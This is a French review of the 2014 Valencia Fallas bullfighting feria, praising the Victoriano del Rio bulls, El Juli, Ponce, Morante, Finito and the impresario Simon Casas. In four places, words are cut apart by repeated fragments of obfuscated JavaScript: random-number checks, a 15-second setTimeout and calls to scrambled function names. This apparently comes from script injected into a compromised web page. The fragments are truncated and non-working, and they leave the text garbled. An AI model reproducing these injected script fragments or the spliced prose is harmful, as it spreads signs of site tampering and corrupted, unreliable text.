VALENCE FALLAS 2014 (2)

Force, caste et bravoure des taureaux de Victoriano del Rio.
La corrida de Victoriano del Rio fut exemplaire. La force des taureaux s’ajouta à leur bravoure et le résultat fut une fascinante noblesse encastée. Il eut trois  taureaux de haut calibre et l’un d’entre eux, lidié en cinquième lieu,  fut exceptionnel, sans doute le taureau de la féria. Il chargea durant les trois tercios autant qu’il lui plut, et si à la fin de la faena de muleta il sortit d’une paire de muletazos en levant la tête c’est parce qu’on ne l’avait pas toréé vraiment. Enrique Ponce, par contre, avait soumis le taureau qui l’accrocha, et El Juli métamorphosa l’âpreté du  quatrième (second du lot de Ponce) en douceur, une véritable alchimie. Si les taureaux de Victoriano n’eussent appartenu à l’encaste Domecq, à Valencia on leur aurait déjà élevé un monument.

Débordement de toréo
Peut-on toréer avec la cape mieux que Morante de la Puebla ? Peut-on toréer avec la muleta mieux que Finito de Cordoba ? Peut-on dominer et toréer un taureau plus que El Juli ? La corrida du jour de Saint José fut un débordement de toréo. Quelles véroniques celles de Morante, quelles véroniques celles de El Juli ! Quelle demi belmontine celle de Morante, quelle demi belmontine vía Antoñete celle de El Juli !  Quelles naturelles, quelles passes en rond celles de Finito ! Je ne peux pas adjectiver un toréo si éclatant,  et j’ai recours  à des points d’exclamation en guise de commentaire.
À José Maria Manzanarés ne lui échut pas un lot propice ; ce ne fut pas non plus son meilleur après-midi. La corrida de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande fut inégale, avec deux taureaux exceptionnels, troisième et cinquième. Mais aux piques, ils se laissèrent simplement faire : personne n’est parfait.

Hiérarchies à Valencia
Mis à part El Juli, légitime triomphateur de la Féria, et  Enrique Ponce, qui fut magistral,  je retiendrai personellement des Fallas ce qui suit :
En parallèle : le toréo de Jimenez Fortes, de Morante de la Puebla et de Finito de Cordoba. Parmi les bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros, Curro Javier, avec la cape et les bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles.
Parmi les picadors, Chocolate et Barroso. Parmi les élevages, celui de Victoriano del Rio.

Conclusion
La féria de Fallas a été une féria extraordinaire. Si le succès d’une corrida est dû au taureau et, surtout, au torero, le succès d’une féria appartient à l’imprésario qui l’a conçue. C’est pourquoi Simon Casas est l’autre grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and triomphateur de Valencia.

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